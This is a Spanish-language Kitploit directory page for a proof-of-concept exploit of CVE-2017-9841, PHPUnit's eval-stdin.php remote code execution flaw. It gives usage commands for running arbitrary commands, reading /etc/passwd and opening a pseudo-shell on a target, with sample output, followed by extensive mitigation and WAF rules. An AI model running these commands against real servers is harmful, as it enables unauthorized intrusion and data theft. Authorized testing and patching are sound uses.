Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC — CVE-2017-9841 es una vulnerabilidad de ejecución remota de código (RCE) en la librería PHPUnit que afecta a versiones anteriores a 5.6.3 y 6.x anteriores a 6.4.2. | Kitploit
Herramientas/GitHubGitHub/krisdewa/cve-2017-9841-phpunit-remote-code-execution-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubkrisdewa/cve-2017-9841-phpunit-remote-code-execution-poc

CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC

CVE-2017-9841 es una vulnerabilidad de ejecución remota de código (RCE) en la librería PHPUnit que afecta a versiones anteriores a 5.6.3 y 6.x anteriores a 6.4.2.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 2 mesesAún no revisado

CVE-2017-9841 — Prueba de Concepto (PoC) de Ejecución Remota de Código (RCE) en PHPUnit

⚠️ AVISO: Esta herramienta está destinada únicamente para fines educativos y pruebas de seguridad autorizadas. El uso no autorizado contra sistemas que no poseas o para los que no tengas permiso explícito es ilegal. El autor no asume ninguna responsabilidad por el mal uso de esta herramienta.


Resumen

CVE-2017-9841 es una vulnerabilidad de Ejecución Remota de Código (RCE) en la librería PHPUnit que afecta a versiones anteriores a 5.6.3 y 6.x anteriores a 6.4.2.

La vulnerabilidad existe en src/Util/PHP/eval-stdin.php, que ejecuta código PHP recibido a través de php://input (cuerpo POST) usando la función eval(). Si este archivo es accesible públicamente (por ejemplo, dentro de un directorio vendor/ sin protección), un atacante puede ejecutar código PHP arbitrario en el servidor sin autenticación.

Detalles de la Vulnerabilidad

Código Vulnerable

root@kitploit:~
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));

Este archivo acepta código PHP del cuerpo POST y lo ejecuta inmediatamente a través de eval() sin autenticación ni validación.


Instalación

Requisitos

  • Python 3.6+
  • Librería requests
root@kitploit:~
pip install requests

Configuración

root@kitploit:~
git clone <repo-url>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py

Uso

Sintaxis básica

root@kitploit:~
python3 poc_cve-2017-9841.py -u <URL> [options]

El flag -u acepta tanto una URL base (añade automáticamente la ruta vulnerable) como una URL completa que apunte directamente a eval-stdin.php.

1. Verificación de Vulnerabilidad (Sin Ejecución de Comandos)

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --check

Output:

root@kitploit:~
[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841

2. Ejecución de Comandos

root@kitploit:~
# Single command
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'

# Multiple commands
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'

# Read a file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'

# Save output to file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt

3. Información del Servidor (Solo Lectura)

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --info

Output:

root@kitploit:~
=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS          : Linux
SAPI        : fpm-fcgi
User        : www-data
Hostname    : web-server-01
Server IP   : 192.168.1.100
CWD         : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root    : /var/www/html/
Server SW   : Apache
Memory Limit: 256M
Max Exec    : 30s
Open Basedir: (none)
Disabled Fn : (none)

=== DANGEROUS FUNCTIONS ===
  system: YES
  exec: YES
  passthru: YES
  shell_exec: YES
  proc_open: YES
  popen: YES
  curl_exec: YES

4. Pseudo-Shell Interactiva

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --shell

Output:

root@kitploit:~
[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root     root     4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.

5. Encontrar Ruta Vulnerable Automáticamente

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path

6. Ruta Personalizada

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --path '/custom/path/eval-stdin.php' -c 'whoami'

7. URL Completa hacia eval-stdin.php

root@kitploit:~
python3 poc_cve-2017-9841.py \
  -u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
  -c 'whoami'

8. Ejecutar Código PHP Puro

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --php '<?php phpinfo(); ?>'

Referencia de Opciones


Mitigación

Acciones Inmediatas (Haz Esto AHORA)

1. Eliminar el Archivo Vulnerable

root@kitploit:~
sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

2. Bloquear el Acceso al Directorio Vendor

Agrega un archivo .htaccess dentro del directorio vendor/:

root@kitploit:~
# /path/to/project/vendor/.htaccess
Deny from all

O configúralo en tu Apache VirtualHost:

root@kitploit:~
<Directory "/path/to/project/vendor">
    Require all denied
</Directory>

Para Nginx:

root@kitploit:~
location /vendor/ {
    deny all;
    return 403;
}

3. Eliminar Dependencias de Desarrollo en Producción

root@kitploit:~
cd /path/to/project
composer install --no-dev --optimize-autoloader

Endurecimiento a Corto Plazo

4. Habilitar disable_functions en php.ini

root@kitploit:~
; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

5. Habilitar open_basedir

root@kitploit:~
; /etc/php/8.4/fpm/php.ini o en VirtualHost
open_basedir = /var/www/html/project:/tmp

6. Reducir max_execution_time

root@kitploit:~
max_execution_time = 30

7. Reiniciar PHP-FPM

root@kitploit:~
sudo systemctl restart php8.4-fpm
# o
sudo systemctl restart php-fpm

Endurecimiento a Largo Plazo

8. Actualizar PHPUnit

root@kitploit:~
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit

9. Implementar Reglas de WAF

Ejemplo de ModSecurity:

root@kitploit:~
SecRule REQUEST_URI "eval-stdin\.php" \
    "id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"

SecRule REQUEST_URI "/vendor/" \
    "id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"

10. Endurecimiento del Pipeline CI/CD

root@kitploit:~
# Ejemplo: GitHub Actions
- name: Install production dependencies only
  run: composer install --no-dev --optimize-autoloader

- name: Remove test files and vulnerable scripts
  run: |
    rm -rf vendor/phpunit
    rm -rf vendor/mockery
    rm -rf tests/
    find vendor -name "eval-stdin.php" -delete

Diagrama de Flujo del Ataque

root@kitploit:~
                    ┌──────────────────────────────┐
                    │          Atacante            │
                    └──────────────┬───────────────┘
                                   │ POST (código PHP)
                                   ▼
┌─────────────────────────────────────────────────────────────┐
│                        Servidor Apache                     │
│  ┌───────────────────────────────────────────────────────┐  │
│  │  /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php  │  │
│  │                                                       │  │
│  │  eval('?>' . file_get_contents('php://input'));       │  │
│  │           ▲                                           │  │
│  └───────────┼───────────────────────────────────────────┘  │
│              │                                              │
│              ▼                                              │
│  ┌───────────────────────────────────────────────────────┐  │
│  │            Ejecución de Código Arbitrario             │  │
│  │                                                       │  │
│  │  - Leer/Escribir archivos en el servidor              │  │
│  │  - Acceder a credenciales de base de datos            │  │
│  │  - Movimiento lateral hacia la red interna            │  │
│  │  - Instalar backdoors / webshells                     │  │
│  │  - Escalada de privilegios                            │  │
│  └───────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

Factores Agravantes

Las siguientes condiciones aumentan significativamente la gravedad y explotabilidad de esta vulnerabilidad:


Referencias

  • NVD - CVE-2017-9841
  • PHPUnit GitHub Issue #2728
  • Exploit-DB #43340
  • MITRE CVE

Licencia

Esta herramienta se proporciona únicamente para fines educativos y pruebas de seguridad autorizadas.

Descargar herramienta
CampoValor
ID CVECVE-2017-9841
Puntuación CVSS9.8 (Crítica)
AfectadosPHPUnit < 5.6.3, 6.x < 6.4.2
TipoEjecución Remota de Código (RCE)
AutenticaciónNo requerida
VectorRed (remoto)
Publicado27 de junio de 2017
ReferenciaNVD
FlagDescripción
-u, --url URLURL base objetivo o URL completa hacia eval-stdin.php
-c, --cmd CMDComando CLI a ejecutar en el servidor objetivo
--checkVerificar si el objetivo es vulnerable sin ejecutar comandos
--shellAbrir una pseudo-shell interactiva
--infoRecopilar información del servidor (solo lectura)
--find-pathEscanear rutas comunes para localizar eval-stdin.php
--path PATHEspecificar una ruta personalizada hacia eval-stdin.php
--timeout NTiempo de espera de la solicitud en segundos (predeterminado: 30)
-o, --output FILEGuardar la salida del comando en un archivo
--php CODEEjecutar código PHP puro en lugar de comandos del sistema
FactorImpacto
disable_functions está vacíoTodas las funciones de PHP están disponibles (system, exec, etc.)
open_basedir no está configuradoEl atacante puede leer/escribir archivos en todo el sistema de archivos
Alto max_execution_timeEl atacante tiene más tiempo por solicitud para payloads complejos
Extensión FFI cargadaPermite llamadas directas a funciones de C, evitando restricciones de PHP
Extensiones de base de datos cargadasConexiones directas a la base de datos posibles (mysqli, pgsql, etc.)
Sin WAF desplegadoSin filtrado ni bloqueo de solicitudes
Sin IDS/IPS implementadoSin detección de anomalías ni alertas
Dependencias de desarrollo en producciónExpande innecesariamente la superficie de ataque